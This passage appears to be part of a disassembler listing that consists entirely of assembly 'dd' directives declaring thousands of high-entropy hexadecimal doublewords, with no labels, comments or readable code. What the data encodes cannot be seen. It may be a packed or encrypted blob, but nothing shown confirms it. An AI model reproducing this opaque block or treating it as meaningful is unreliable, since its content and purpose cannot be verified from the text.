		dd 176D4914h, 2E401C00h, 58081E43h, 2CE3B8AAh, 80BC779Bh
		dd 0EDD5E6BFh, 52905D95h, 0FE0C9D00h, 1C01548Ah, 882E0073h
		dd 5A604728h, 0C0906D2Fh, 0FC0B431Fh, 2CF2658Ch, 0C61D2572h
		dd 80008AF6h, 638706BDh, 2C820067h, 0EECAFFB9h,	60C05B98h
		dd 0CD838A2Eh, 1FACF0BCh, 932761h, 0A4D90EADh, 80142F7Bh
		dd 16846BF6h, 0C807FB6h, 0EFA66C7h, 10F28923h, 0A26738E0h
		dd 0C2FC977h, 9510005Fh, 0F6FAC5F3h, 1657B9Fh, 0CFD786BDh
		dd 0F98C7BD3h, 81C7857h, 4F60D4h, 54E2EBBh, 28921628h
		dd 0A4F83305h, 98D0459Ch, 11BF68Dh, 0FD18573Ch,	803499EFh
		dd 64244F18h, 86C608Ah,	318B67CCh, 0A44E141Ch, 98634204h
		dd 159760A8h, 48187D7Eh, 7224CEh, 24B8B643h, 342BD59Eh
		dd 4D0D3C00h, 0B5D6EA39h, 96B32465h, 3D100F40h,	572B5EE0h
		dd 33008F79h, 0F9069098h, 2C8822Dh, 0EF68DDAAh,	808049FAh
		dd 0FB5B3C9Ch, 8B86B900h, 77B74353h, 1CF6DFh, 0A11D3837h
		dd 0C06BED89h, 35552D00h, 6195EB29h, 0A556306Eh, 8468FFC0h
		dd 0B6258700h, 0A9CA9BB2h, 1C4B984Fh, 0C905AC67h, 44608B23h
		dd 30F9C3DAh, 1103DF83h, 0BCE8E471h, 0B608A04Dh, 24FE0067h
		dd 0ACE56381h, 6D011BD7h, 9BF9A24Ch, 14FCA45Ah,	0C6332C7Dh
		dd 8C2701C4h, 602482FFh, 61104AB8h, 0FE8765DAh,	3CC1F046h
		dd 0B84BD8ADh, 0C0EF5004h, 173978CAh, 12906400h, 0DA0D96E6h
		dd 7331A107h, 0D4107E75h, 567AD5h, 960C115Fh, 0B66F9C2Ah
		dd 59C8CCA0h, 96986239h, 0BC0046C0h, 0A8DC9599h, 0D9340242h
		dd 5B9D127Fh, 0BE55A7E0h, 0E8469F00h, 321A298h,	0C6CA1609h
		dd 34D209D6h, 0DA1D4090h, 106AB001h, 0B1C90E05h, 0F82B033Bh
		dd 13D85288h, 0E400B238h, 0DA153DBFh, 386DC6Fh,	1F35C06Ah
		dd 0D89870F0h, 0BC89A7h, 7CC85212h, 0C0B54A25h,	7D290170h
		dd 33AC9E00h, 0D984946Ah, 0E4FA98h, 6536FC35h, 225E02A2h
		dd 0AA744B00h, 0BC0E8A5h, 6C8E0A9Ch, 0D4FA78h, 2FC6DAC5h
		dd 5A03D414h, 0F1979BA7h, 0A84DF3BFh, 0D68369h,	85567402h
		dd 57176CADh, 0C0818D6Fh, 0D81B3B0Ch, 1CF4B20h,	0ADC3E060h
		dd 8CBFD008h, 86284C6Fh, 215B6Bh, 4AC1BDAh, 20ADCBE0h
		dd 9D267406h, 2638AE5Ah, 805096CFh, 3C0A0D67h, 4D0A9A3Bh
		dd 3C83E84Bh, 36940B00h
		dd 3CE6888h, 59DB07F0h,	20A5FB2Ch, 63B58820h, 600D1874h
		dd 1919A7C6h, 0F4B40FCh, 4ADE3DAh, 0A457DD40h, 39006281h
		dd 8FCBEA3Fh, 7019C4Dh,	0BA2D5E60h, 14D8F0C1h, 4C007BDEh
		dd 23ABCBA6h, 0EF0E4BFh, 9505ADAAh, 0F28049AEh,	9ED77B0Eh
		dd 969ADF01h, 0BEC91B15h, 692DD4h, 244308AAh, 0B375D6ECh
		dd 8501CCF0h, 2B1F9777h, 7BD4EF32h, 5CF40006h, 0D78005E7h
		dd 0D800A2DEh, 969531A5h, 0B8AB6h, 4ECE8DAEh, 1BF94BEh
		dd 7FBDD000h, 0F104A205h, 3BDA700Eh, 0E600AADCh, 26AC568Dh
		dd 0EF00781Ch, 0F5D6755Ah, 16E77016h, 0C33595h,	0DFB3CB4Eh
		dd 59003CF9h, 13221485h, 3A8FCEh, 802A4BC1h, 498EC0DBh
		dd 0E45C5914h, 810302A4h, 0A01C7AFDh, 8DDAE1ACh, 0E588031Dh
		dd 0CD9D5B6Ch, 1CC90826h, 8DD24080h, 1D491B96h,	92FBD7DAh
		dd 0CDDCE45Ah, 0A0DF1F09h, 47142055h, 0F4FA42D4h, 4CAD0C03h
		dd 4B085BE8h, 0C1C21C0h, 677FFD42h, 20538106h, 6B019EC1h
		dd 0D3AB2CA0h, 0F43A1600h, 3D145781h, 0EA061C32h, 82A7C958h
		dd 5A02820h, 824D596h, 3126804h, 21A76C4Ch, 95FD00CDh
		dd 0BC613283h, 7500A9A5h, 5852B67Fh, 0A3AA1CC9h, 1288E38Ch
		dd 378C31h, 5377FD07h, 0F6020241h, 0FE1FD482h, 15AC8026h
		dd 7D84A7h, 86D3EF9Ch, 6717C23Ah, 20001C77h, 0A3D7B253h
		dd 1F862D6h, 0DB15682Dh, 0D88D5C5Fh, 0A200E483h, 0FE9A0EB2h
		dd 0E47E4577h, 0FBD400D5h, 0F35DA86Ch, 7007258h, 0DAE70DB2h
		dd 37C9D5Ah, 18C08030h,	0B3B35DC6h, 83BD1838h, 0B1E9C745h
		dd 0A931E0C8h, 3B2184DCh, 0DD8D08B3h, 11DF8742h, 632451E1h
		dd 0C2C508ECh, 33805519h, 56E65B21h, 430200D2h,	0DAE8BE0Dh
		dd 0D62ED100h, 3D326ECCh, 0C321DF22h, 645B9510h, 81A05030h
		dd 60A29A67h, 0B34C39B6h, 3B1E92C5h, 0AD0FA190h, 820FC6h
		dd 0EF9347AEh, 518F6356h, 58C19F1Dh, 6084452h, 118A55BFh
		dd 0CA994501h, 2AE7B070h, 30ADD9E0h, 33C9B425h,	0BA400520h
		dd 80BEE7E2h, 0FBF5B600h, 43F2BB99h, 18BC1D30h,	0F42C79A3h
		dd 0DCE13E20h, 1BD5310h, 0C3693A5Fh, 6C4ED73h, 5C7900E2h
		dd 0DCEB10EFh, 253008FAh, 7CD571B1h, 3429002Eh,	74FD38B3h
		dd 0AD07D699h, 0EF022C7Bh, 0BE3B9CD0h, 5AC406F2h, 0C9C5FA77h
		dd 0F30CBA00h, 0D13622A4h, 265B33D6h, 2100BE08h, 5F21708h
		dd 0EC97097Dh, 7F283A0Ah, 0B8B7729Dh, 0C0079852h, 50E0768Ah
		dd 3AAE436Dh, 39744700h, 2EA7B717h, 0BD300614h,	0E159458Bh
		dd 15A87A00h, 0BC5AD3FFh, 72DB1CC8h, 2155D8B6h,	1500A027h
		dd 0F46C47C2h, 0F9C5E689h, 592E5022h, 813B1F1Bh, 30B19C21h
		dd 0B3398C56h, 2429E6h,	0FC0F48A9h, 0EB9A97C8h,	0C42CD201h
		dd 0B43D883Ah, 5891D6F1h, 597875AEh, 5F43D1C6h,	5E4E0051h
		dd 797EE321h, 0AE001F23h, 5CF673DFh, 0DFE32h, 10428C91h
		dd 708DC837h, 0F4B53Ah,	9FF7D172h, 111B8304h, 77A4FE7h
		dd 0D642B25Ah, 0B0777820h, 2E1400D1h, 0AD41044Eh, 131B37E3h
		dd 0C889DB2Fh, 90E73253h, 0D0554956h, 72F1287Ch, 48846A8h
		dd 0D39415ABh, 91DB7982h, 181340A8h, 83F42000h,	0C131A8Eh
		dd 0C3870101h, 30B216D1h, 0F829A864h, 88873480h, 7D0F51ECh
		dd 997664B8h, 0D8222598h, 36E0EC00h, 792940DEh,	58F6E103h
		dd 0E0ABC765h, 52F310h,	2D75A321h, 0EFFDDBDDh, 60FA9440h
		dd 0D8A4E18Bh, 6FF25C1Ch, 0EE00B9E2h, 0E346FD82h, 26F24F73h
		dd 30585D2Ah, 2D41271h,	0DEC8301h, 0EBCB3BA1h, 3BFFF821h
		dd 0BF87A221h, 0F0852D7Dh, 0C934CD3Ch, 8FAFB505h, 0C05FB0D9h
		dd 0A5C5CE00h, 165CBB1Bh, 3F4A8h, 0AA67CAE1h, 0A30C061Ah
		dd 31EFB353h, 0E19A5B7Eh, 798860D6h, 43309409h,	233C01A7h
		dd 85E08C56h, 0EEC300DAh, 5E54BC5Bh, 9F0E2D3Eh,	600F8D3Dh
		dd 69C11719h, 65452A82h, 145200B4h, 23BAE4F5h, 0DF4D8918h
		dd 0B04654h, 87CFE3AFh,	1C8336DEh, 40D667BCh, 4297604Bh
		dd 621F8DA0h, 0DE049F02h, 44C451AEh, 82CAE008h,	2260623Dh
		dd 114D2C61h, 0A8E77694h, 2892C47h, 55956385h, 0A760F60Fh
		dd 3B006127h, 0BE1F41A6h, 0EA26D901h, 5BC103F4h, 104A8F2Eh
		dd 8AE450F8h, 4B0004ECh, 927DFBA8h, 1B81CBh, 0C90D9391h
		dd 87579C6Bh, 6D59F90Fh, 3910F85Ah, 29DF005Bh, 3E86A04h
		dd 8CCD2DCh, 0A82158h, 0BA2BDF21h, 566C79FBh, 868ACA1Eh
		dd 64F4E780h, 1F09525Bh, 0DC938E5h, 86385957h, 56444564h
		dd 6EF70011h, 6886A28Ch, 8E3388F5h, 3E6A0898h, 8C81CD21h
		dd 127E667Dh, 26498091h, 36FA542h, 1E170371h, 0CF240D92h
		dd 73599800h, 0AE8BE78Ah, 18AEB879h, 515A4468h,	0C3F22FA6h
		dd 0C4764807h, 0CA207523h, 5D8D3D5h, 67D1024Dh,	888C10C2h
		dd 40095A23h, 24005DFh,	20608862h, 0B9DF239Bh, 8986A400h
		dd 4DDE6919h, 0A07C003Eh, 63CE0EC6h, 0C0A0F3ACh, 21009527h
		dd 0FB3AED82h, 8125FCh,	15EBF844h, 0C6C3D5E0h, 6E9F6A0Eh
		dd 6F54E59Ah, 80B0043Eh, 10C7CAA7h, 186C0FBBh, 0F741001Dh
		dd 0E05EFD0h, 9300DA8Ch, 0EB703E17h, 98F0BB75h,	311EE41Eh
		dd 2229F407h, 2C5A008Bh, 3DE24Fh, 96BBB680h, 91311439h
		dd 8E432200h, 0E576497Eh, 7DEB00C1h, 0B54244CEh, 0C6058D7Fh
		dd 6CA71C2Ah, 0ED1BB9C0h, 587007B6h, 0A0E27487h, 350602C8h
		dd 8ABC7E00h, 1314ED43h, 269C0095h, 0E8D63C7Ch,	5400D1E3h
		dd 9B15FE60h, 16F56B7h,	21DED0E2h, 0C4F40EA8h, 9902D52Ch
		dd 0DA1C1F58h, 0D8BAE01Ah, 0E38F0031h, 1015F151h, 6700A33Dh
		dd 0BB01124h, 4C374C5Dh, 880004ACh, 5572CFBCh, 4E3D549Eh
		dd 0A4B0143Fh, 0E1B8028Bh, 6091222Eh, 0E42676h,	465159C9h
		dd 99D03C78h, 0D51D33F2h, 0F83ECCE1h, 0AF9C8C03h, 0E0D34A62h
		dd 832D09h, 1DE93F87h, 239D6B6Ch, 7085F400h, 0FD502BFEh
		dd 689A004Dh, 956EC2D7h, 0EF0F9EB9h, 0C72FC920h, 0E840AF3Fh
		dd 3F8465B4h, 0FFDCA23Dh, 0B9E42C00h, 20E383F0h, 549B1A0Bh
		dd 5F80046h, 496A4D79h,	2F010855h, 2CA4B3C1h, 42FBEC20h
		dd 6E671A00h, 0C99B70DEh, 0F34D00C3h, 969CA008h, 1E00BC2Ch
		dd 36610247h, 19B451h, 2BC8A5A2h, 0AF4342Eh, 0AA46BF00h
		dd 12CB619Bh, 0BEDE0374h, 0F0CF5B78h, 82306BE0h, 38184892h
		dd 0DF7E0166h, 6E89037Eh, 469E3C19h, 0D1B16005h, 0F4436A24h
		dd 0D0089BB5h, 0BF3D4Bh, 6D992091h, 0C787644Fh,	0B96E9607h
		dd 9CE3F1D0h, 1AA4F8E2h, 1EAD0014h, 41E88135h, 0D71FE706h
		dd 0C983DE65h, 0C859F257h, 7BCFD61h, 0A1C63863h, 8E235168h
		dd 294BC0B4h, 95185600h, 4230FA61h, 1E6B0038h, 0AED0D764h
		dd 96007975h, 0AC3A8DA6h, 9483ADh, 0A5D238FAh, 0C613FD90h
		dd 0EFF32061h, 0E2F47A8Ch, 821F0062h, 946F40ADh, 1B5071F0h
		dd 0C102B888h, 190D76B1h, 8AB8A0B7h, 2246958h, 0CD5A9A5Dh
		dd 9D601893h, 460EFE53h, 0D579E01Fh, 6EA4C4ECh,	0B18A2302h
		dd 11845140h, 3ADAFE39h, 0F76007FDh, 0FC6A869Ch, 0F630EB71h
		dd 8018603Eh, 0DDF3C9CDh, 10052430h, 0B79966h, 16701D8Bh
		dd 0A40C9715h, 0DE802A03h, 5FDD306h, 0DDC195B9h, 45B043AAh
		dd 4AD8D4F4h, 974C3CB9h, 0A0409044h, 268987Bh, 18ADA59Bh
		dd 6C46DFDDh, 2BB4FB00h, 55F38FCEh, 6F21032Ah, 9B19A326h
		dd 407C688Bh, 43BAF900h, 0BB1181ACh, 2FEA0309h,	685399EFh
		dd 0CB3866C0h, 8045F239h
		dd 0A80CA50Eh, 0C6408B0h, 463577D1h, 0CE0A6389h, 0B4E71888h
		dd 0A94C0D81h, 0E096177Ch, 421400D7h, 0C5553494h, 0AC171178h
		dd 51025FE3h, 68F3EE3Eh, 304E26B8h, 138845Bh, 0B314098Ch
		dd 78A8659Dh, 4CD92D07h, 2199F291h, 0D1C4C984h,	2787E4h
		dd 1BD7125Ch, 15B9E772h, 2EB71118h, 144A2580h, 0B06273D8h
		dd 789F7D3Ch, 0C0051CEBh, 0C1EE2D70h, 0A5529A02h, 0D15300A4h
		dd 0BACB5CC2h, 0CB9004Bh, 0F6ED93EAh, 0C8A9853Fh, 2D445181h
		dd 0F3BC2474h, 0F4D37129h, 40EFB60Dh, 0E44CF0F9h, 32E6B1h
		dd 9DDA6450h, 0D08BD42h, 0E73A41CFh, 0B0503740h, 3DAFF60h
		dd 5AF367D8h, 0C00E0128h, 0C0257D94h, 8A16A626h, 43E40020h
		dd 0FD9D181Bh, 511C37A1h, 2EC0F108h, 3479AB81h,	15D4A831h
		dd 12025C28h, 8D5A6100h, 0A9F5330Ah, 5990C600h,	0C4F2FB5Eh
		dd 24FE485Ch, 9FA13601h, 0E489D6EAh, 0C02AA38h,	552A1F81h
		dd 0C0D6E37Bh, 9E8A258h, 0ABFB43C6h, 0D25254A4h, 9C80F4A8h
		dd 6801B5D8h, 4D914300h, 85872049h, 58C737B2h, 5539E0D0h
		dd 4C6042E5h, 984D1A98h, 88A149C8h, 5EF2170Ch, 532C5A90h
		dd 0DE004C57h, 6DAB7DCFh, 0A5E90146h, 7ABA13DFh, 8361DC16h
		dd 0E72F78C1h, 0AC50371Ah, 1E52A170h, 80F07BC9h, 2C668CD7h
		dd 0B093DC39h, 50F7303Bh, 0E2C81A93h, 67B1251h,	1F64419Fh
		dd 80F44DE4h, 0BEB64B99h, 757220D4h, 37C800F2h,	0FE52E0D9h
		dd 34B0ADAAh, 58119000h, 3FDA0C9Ch, 2E0803D5h, 9F3354CCh
		dd 0D874992Ch, 599C6002h, 0C724685Ah, 15EA0044h, 73268D1h
		dd 0B40EA261h, 0C05422C2h, 4F3611E0h, 0D4E0E4h,	95671B84h
		dd 88B9B2A7h, 24108260h, 1DE54321h, 0C0523451h,	5532A923h
		dd 700054Eh, 0B72D38F2h, 15E7899h, 0A70B7B9Ch, 0C5677187h
		dd 27B8F83Ah, 0CAE61C1Eh, 693881C0h, 0F8823D4Dh, 0FE9A7189h
		dd 0C7FB0025h, 0F6E224C2h, 517F7CDCh, 859C503Bh, 93B14813h
		dd 15CFB780h, 0A7EE0057h, 0BF737509h, 0B7289535h, 48E9BCBEh
		dd 0BA49EB94h, 0FA1F1F08h, 39E927C0h, 3C8DFD4Eh, 4C80E08Bh
		dd 4AA40676h, 7C015A1Dh, 71EC14BCh, 75E1A669h, 6D0FA850h
		dd 4712001Bh, 8FBB772Ah, 0E305FC80h, 94C6DBC9h,	0CD623CD0h
		dd 0A9F9009Dh, 0E4A5083Ch, 73072FA8h, 9C71655Ch, 341EC4B0h
		dd 0BF7E5CC0h, 7D82B13h, 0B04D5218h, 26B39D5Fh,	1706361Dh
		dd 0B9AD8B80h, 256C794Fh, 807647A0h, 0EABB813Bh, 0AB8D687Fh
		dd 5A1840FEh, 0A178002Bh, 425636Ch, 0D9F64429h,	0D7655109h
		dd 32A020A5h, 3F33F6AFh, 0F50079CBh, 205E33Dh, 47DB115h
		dd 1E543A07h, 20098055h, 3320CECh, 0C77245h, 0B8E33356h
		dd 14E52046h, 8F44F100h, 0BBCF9CBEh, 5766001Fh,	0C0176965h
		dd 0C10F0433h, 205296B0h, 0F1380D1Dh, 51F40C57h, 1591DD0Fh
		dd 0A242C59h, 0B43DA503h, 78C2421Dh, 0C04DECA6h, 1C629A33h
		dd 0C70819h, 0CD2F17DBh, 667C5665h, 4139A918h, 3CD757A8h
		dd 0BD24030Ch, 7C9E0A00h, 0C748C710h, 16106C4Eh, 7C612700h
		dd 8D2275FCh, 0F4155407h, 9800332h, 0CBE46023h,	86846CB0h
		dd 0FCB9342Ah, 0DB4B0700h, 47ED5B8Bh, 13B74FEh,	0CE25EE6Dh
		dd 0CC43CBC5h, 0A960655Dh, 9ED9EBD0h, 918E0159h, 0D5534BDCh
		dd 0CDBC7446h, 0CD4C6224h, 0CFC0471Dh, 0E12C3B8Bh, 9280994h
		dd 0A8A00E6Ch, 125B72C6h, 0F6FEA1DEh, 0DE7C9B00h, 31A40492h
		dd 188C09BDh, 0BD87BA01h, 58C8F05Dh, 0CB7DBB3Eh, 7C5E4C00h
		dd 3F11FC7h, 0C4675CC9h, 0E0F4B602h, 888035D7h,	88B34E12h
		dd 0BEEE897Dh, 64D21B04h, 58B4286Bh, 81B8A565h,	5AE8F05Ch
		dd 0C154639Bh, 9849CF8Bh, 25F6C34h, 0CC3F70C2h,	0BC60FB44h
		dd 0A036A3Ch, 817B5479h, 242980Ch, 3559017Ch, 3F854087h
		dd 0E3BC5021h, 2B59E4E8h, 0B0240300h, 3C149426h, 3F807091h
		dd 80344C95h, 814068Fh,	2CB483E1h, 8E3CA8AAh, 0A0793136h
		dd 283225E0h, 0FA8E1820h, 8D6FB918h, 11A5A909h,	0A17C40A6h
		dd 2C044AD2h, 0F5001E54h, 0D6D272B6h, 52334230h, 85D9443h
		dd 0C7C0F049h, 335F9CCh, 9FDD800h, 99416684h, 9B3600B8h
		dd 1F64E1A7h, 2DB8F2DAh, 0F870A54Ah, 1F7169Ah, 50B7823h
		dd 801321BFh, 18AF1528h, 923DFF75h, 3A0A78A0h, 4200C2CEh
		dd 1FB1D591h, 3C063AF7h, 0F504A076h, 62C400F1h,	0D3C0EB36h
		dd 0AD00BA77h, 108DDF6Eh, 0EA5B9D59h, 3A5A18F6h, 7BD53172h
		dd 0F4882101h, 99DFDCD9h, 0CF88A0EAh, 7B744BBDh, 325800D4h
		dd 11C77117h, 10FEAAFh,	0AAE961h, 8DDA0F60h, 0FD2E004Dh
		dd 8FFA7A73h, 5600DC09h, 8293DBBCh, 0F6D526h, 89E88E77h
		dd 2F7FBFEFh, 0FE05559h, 0EAB83BD6h, 6783D090h,	56CF69Ah
		dd 458133A1h, 5B78C8BEh, 69394467h, 6E9C40B9h, 0A26C9A2Dh
		dd 28980099h, 40CFF5h, 6D7BBBAAh, 57B1811Ch, 1D74611Fh
		dd 84368E00h, 3858DB39h, 63007BE5h, 0F894B7A2h,	8805C687h
		dd 0BDBBDAEAh, 0D2545890h, 0B6920CFEh, 5C90804Ah, 62133900h
		dd 8FAB421Dh, 4C740144h, 528DB8B6h, 3A1C2004h, 3365890Fh
		dd 1EBD8084h, 6C4BCEh, 0A38E9F99h, 353ABE86h, 5103FB01h
		dd 0BA8A7571h, 4360D731h, 9FB60104h, 0F93CC03Eh, 331F470h
		dd 34E5182Ch, 0B0F16903h, 1C96C0AAh, 6D00EFBh, 37C0232Eh
		dd 4CC90D1h, 6D0AD97Bh,	98A8BFDAh, 31170900h, 7C7C027h
		dd 7A68559Bh, 7971C08Bh, 0AD0C2D7Eh, 60FF87E9h,	0E07C00F1h
		dd 0D48B29A9h, 40021CBh, 1C5F2DB2h, 98999EDAh, 126CEE0Fh
		dd 327F730h, 0B36F6D9Bh, 81A6C0F4h, 89383E06h, 22F480D7h
		dd 0C71792E1h, 0D3FA309Dh, 1A646D91h, 0F40D830Eh, 0B08B9E44h
		dd 0CB39000Eh, 299D66h,	0D96386F6h, 7FB75405h, 0F3D570FBh
		dd 8B0A0D07h, 0CCA03C6Bh, 0F487E6C1h, 5E840074h, 8A0B3BF7h
		dd 0FB183932h, 5198712Fh, 6CB852h, 645A844Ch, 0C428DAF9h
		dd 62D0CD02h, 0E387CB43h, 0D342F864h, 1ACC00DDh, 2285F1FEh
		dd 6B071523h, 34F989Dh,	8801E633h, 6C3B89h, 57A8A041h
		dd 413F73Ah, 3DDD28C0h,	304EC4D5h, 959039EAh, 38002233h
		dd 0FCC9628Ah, 0D5E268h, 0BF1679F9h, 0D6A3D0B5h, 5006090h
		dd 4A44866Ch, 7961D7h, 3012BD9Fh, 0BCF7E94Dh, 3222CF09h
		dd 0BE80808Bh, 263B09h,	0B592AC16h, 3AF7312h, 0FF1CFD79h
		dd 6A404D7Ah, 31AE652Ah, 963000F5h, 281166E4h, 980B1813h
		dd 808F0978h, 0C53A91D9h, 0E1BD02ACh, 0BFB6E415h, 174DAC80h
		dd 601F65A3h, 0C4C0429Eh, 0CBDD9A3Ch, 4A760206h, 53BB456Bh
		dd 0ED04A080h, 800124DAh, 22129AC5h, 8F1AC98h, 0E4DE6EC4h
		dd 42860079h, 0CA20825Ch, 8C003D3Bh, 0E74657D2h, 69C0C102h
		dd 0B8032C1Dh, 0DAF04252h, 3A00AC2Ch, 87569B45h, 1C3092B5h
		dd 82021114h, 6C50B9Dh,	64E67CC0h, 56D55000h, 0E2D4A037h
		dd 360500B0h, 522D9F39h, 0E4A94A7Dh, 46EFC0A5h,	36BF1E00h
		dd 77BAC7D1h, 757F17B3h, 76F80092h, 89AD1351h, 8EFD5C00h
		dd 1DBFCF88h, 6E1000D9h, 91F57014h, 5E006687h, 9258A6CEh
		dd 70E606C3h, 0DC4A0094h, 87CD7E54h, 150080DAh,	0EF73B98Ah
		dd 0F8D60308h, 0BC77034Fh, 2C0247F5h, 0CBE8BFF1h, 88558DE8h
		dd 0B3873600h, 5D0BB191h, 859C3F04h, 786C9380h,	0C306398Bh
		dd 0DEAF1D01h, 0B607D5AAh, 902D50E4h, 64ED0F10h, 8E605465h
		dd 0E1A0C9DEh, 762C339h, 0CE44D787h, 2BB620B0h,	0A7A10028h
		dd 33F7D1D3h, 4F00B706h
		dd 0A6561699h, 2ED79Bh,	740A9F5Bh, 0BA5E7252h, 0C68B8C16h
		dd 3B3CE001h, 7ED0A5FAh, 58903E24h, 3786E600h, 448038FFh
		dd 0E1B26701h, 1AD13C2Fh, 7B8C74h, 2CAE9825h, 6C6DBFE9h
		dd 2ED0A81Eh, 0ED995684h, 72FCB0h, 5B0BAD60h, 0E13294AAh
		dd 8155FB3Dh, 0AEBE1684h, 0F0707B70h, 634600CBh, 0F953A4A3h
		dd 8500CFC7h, 87B48143h, 5CA16h, 3FFCCD1Bh, 527ED61Eh
		dd 0F2967B01h, 0A70CBA25h, 3FECC8CEh, 7E801882h, 0C54C20B2h
		dd 442032E8h, 0E3D3F195h, 18EAE8A5h, 0FD273BBDh, 0E1C48E00h
		dd 0BE9EC374h, 54EF9800h, 0C179A6B6h, 0B250019h, 0F0353F6Bh
		dd 6C7A2648h, 9BC01A1Ch, 28430197h, 36ACC1Dh, 0AE7B2580h
		dd 0C0A5BE82h, 3B7F9C5Ch, 0E054D600h, 1D25E170h, 0DEEA063h
		dd 0DB9205BEh, 0C20B45h, 76432760h, 0B81425F4h,	90CC10Ch
		dd 408E583Dh, 0ECA55C8h, 0E4C332C0h, 1FBD11A0h,	0A4B4649h
		dd 7D402B0h, 0C3E2F902h, 65FF5048h, 105BAB2h, 251CEE83h
		dd 9D4FE040h, 6E371C2h,	98A0E248h, 86600840h, 0A5365470h
		dd 908CE8C2h, 0FC3C008Eh, 7581AA61h, 96EAD678h,	0BA918360h
		dd 30DFF07h, 1AC0D264h,	830420Bh, 1F9421E4h, 932200FFh
		dd 151027E3h, 760EB37Dh, 0F82CEF8Dh, 186E8690h,	0F1BE9D91h
		dd 0C1004574h, 763325FAh, 74DB3D01h, 21EA6777h,	1FC1917Fh
		dd 7D16F891h, 507B6335h, 7DAAF088h, 11046071h, 34472B4Ah
		dd 55F19C00h, 0DDE10DBDh, 78EF648Eh, 0C14660AAh, 702568EDh
		dd 98913Ch, 5DC13E14h, 7ACDE3h,	0A11AF683h, 810491BDh
		dd 2390AB52h, 0FFED0144h, 18426347h, 2B5A89E8h,	92DE0h
		dd 8C71CA41h, 21048DAEh, 9328AF50h, 913C9DF0h, 96190082h
		dd 0ACE10A06h, 3ECB88Dh, 0C43CE5E8h, 53B069BBh,	0CB00E907h
		dd 23EE80A7h, 0E51AF2Bh, 3E0A52ABh, 3AC5BA61h, 0A917CC07h
		dd 54321207h, 24E0200Fh, 7FF125F5h, 0F0E41C21h,	40429F88h
		dd 4B6351Ch, 50004841h,	82EFC918h, 7FC0884h, 7493CEFFh
		dd 8C8B2002h, 4B007934h, 0B7D22AFAh, 0E4D8526Ah, 7F80097h
		dd 7843AB6Eh, 53E67F85h, 131D9300h, 50712A83h, 0E3DD008Dh
		dd 10DE5B4Bh, 60009A52h, 0E47395C5h, 30C2D116h,	6718A78Dh
		dd 0A818147Eh, 0B7106D45h, 8516012h, 389E0F6Ah,	97B6400h
		dd 0BD1FA2C4h, 5237004Fh, 0B29FA461h, 0EC9806B5h, 0A0AA0330h
		dd 75DB369Ah, 0FBB400B9h, 69CB68C9h, 263AD44Bh,	2DDA8327h
		dd 9929C4h, 0FB8386D1h,	6DBA2A72h, 0F6DC1000h, 2DEED1EBh
		dd 705C00E0h, 0DAE9423Dh, 5DF05726h, 4B196B00h,	8F07D905h
		dd 0B5A10055h, 0B4B8D7CBh, 0F00068E5h, 2B6EAC5Fh, 0D9C43Ah
		dd 8A33E26h, 28CD049h, 0D10024E6h, 7244F515h, 2A96B87Dh
		dd 38CE995h, 0DA74D8BDh, 5DDAE1BEh, 0FD4B84A1h,	8CF2C477h
		dd 0F31610C1h, 0F8CCA071h, 0E0A4000Ch, 0A8614713h, 73F9154h
		dd 84BE8E59h, 0D7407DDBh, 4D96A3B9h, 56C503E3h,	0AF0F9A8Bh
		dd 0A75A59E0h, 0E1653801h, 0FA825F18h, 83FA044Bh, 0E029F617h
		dd 0D19EFBBh, 0E1FF9E24h, 5D366020h, 64C028C0h,	58F3481Bh
		dd 0D4007E17h, 63A3E7B9h, 0E01E9F55h, 0ABC3243Dh, 0E80A1A6h
		dd 8992659h, 6D80B0ABh,	244ED19h, 8AC57E0Fh, 0DCFD00F7h
		dd 6FE890A6h, 1C2608EAh, 75007828h, 0E935F97Bh,	7B8F6D7h
		dd 0B243DC5Eh, 157EF03Fh, 0F063DBE2h, 87084538h, 0A987FBA0h
		dd 241714F6h, 5B182414h, 3C1AC1ABh, 13F01F00h, 0FB669951h
		dd 0B3BF01E1h, 882267Bh, 8080CE6Eh, 241B7E91h, 80CA41C0h
		dd 1F72607h, 2D649A49h,	60E243AFh, 0A7E49219h, 3D9A605Ch
		dd 15240A1Dh, 0E41D3C11h, 0AFEF0020h, 7B2FE358h, 6002B66h
		dd 69E1CDAEh, 2AE88068h, 0C410EFh, 3B2D04BFh, 1BCFED96h
		dd 0CC5CDE1Dh, 0D5214519h, 1CA12DDCh, 0B05BE299h, 0D33BEB61h
		dd 0EC685A02h, 81F4909Ch, 0EDA3B4C4h, 1A6CDD4h,	27E4F26Bh
		dd 50EC251Ah, 5038DAFCh, 843B0703h, 74611ECAh, 0C128606Ch
		dd 0DBAD30AFh, 0D6645B30h, 1E1D3299h, 30D60DA7h, 0E34FF591h
		dd 0B58FC700h, 95CB0C7Ah, 86C01E0h, 37E9FA9Bh, 7000E31Eh
		dd 6DAEBA2h, 19FBE538h,	8AE016Bh, 0C17C34C5h, 54DAEA00h
		dd 0F3D8834Bh, 0D7360064h, 819AA39Bh, 980ADE73h, 0D49560BFh
		dd 1DB03867h, 5A3A26Dh,	18628651h, 41C860E0h, 0B0ACD380h
		dd 462DE902h, 19CED5EBh, 0F01E1091h, 2960002Dh,	806C9A2Ch
		dd 0F4F8C948h, 27DB7105h, 0A0371ACFh, 3BE8AD30h, 75CC435Ch
		dd 2F7BA88h, 0F8682A50h, 0C441B7Fh, 0DBE11300h,	0A084B30Dh
		dd 95EE030Ah, 424A5204h, 8621CDA8h, 8BBED39h, 1F8E3639h
		dd 0A753805Fh, 586EEFBAh, 4227D01h, 0B8B4A973h,	7A6839E4h
		dd 9C96091Eh, 11648h, 80230480h, 563798D9h, 0C668DEh, 0CEAD158Dh
		dd 807A3EEh, 0B73CD500h, 4C72266Bh, 0A980E91Bh,	0C2A4FD9Ch
		dd 9E48179Dh, 71470F1Fh, 6B0D60D1h, 32ADEABEh, 1C1AF8E6h
		dd 36022C4Ch, 143BF550h, 27F318CBh, 2EB980h, 7276C5ADh
		dd 88ED556Dh, 0FF0BF81Dh, 148ECEAh, 7BDD8030h, 2B30E30Eh
		dd 91ECA619h, 2D0580DFh, 87F5963Ah, 2DCD2A00h, 4E3A184h
		dd 43E5BB4Fh, 0AF0CC85Ah, 888C8901h, 1E54E25Fh,	555B806Bh
		dd 24247EDDh, 0C6BBD4E0h, 342DFF02h, 389105EBh,	7D01193h
		dd 7B710F78h, 0DC3B0009h, 38344671h, 8364CD6Eh,	0E34023E9h
		dd 0F66B206Ch, 0EA54C101h, 2CCB3D26h, 0D00CAC36h, 0ED316C04h
		dd 7403A7E4h, 0F0298153h, 5193C6Bh, 12089524h, 2DAC40BBh
		dd 9BE3F9E8h, 83A80F00h, 66264FB1h, 0F7CB0541h,	40C59D24h
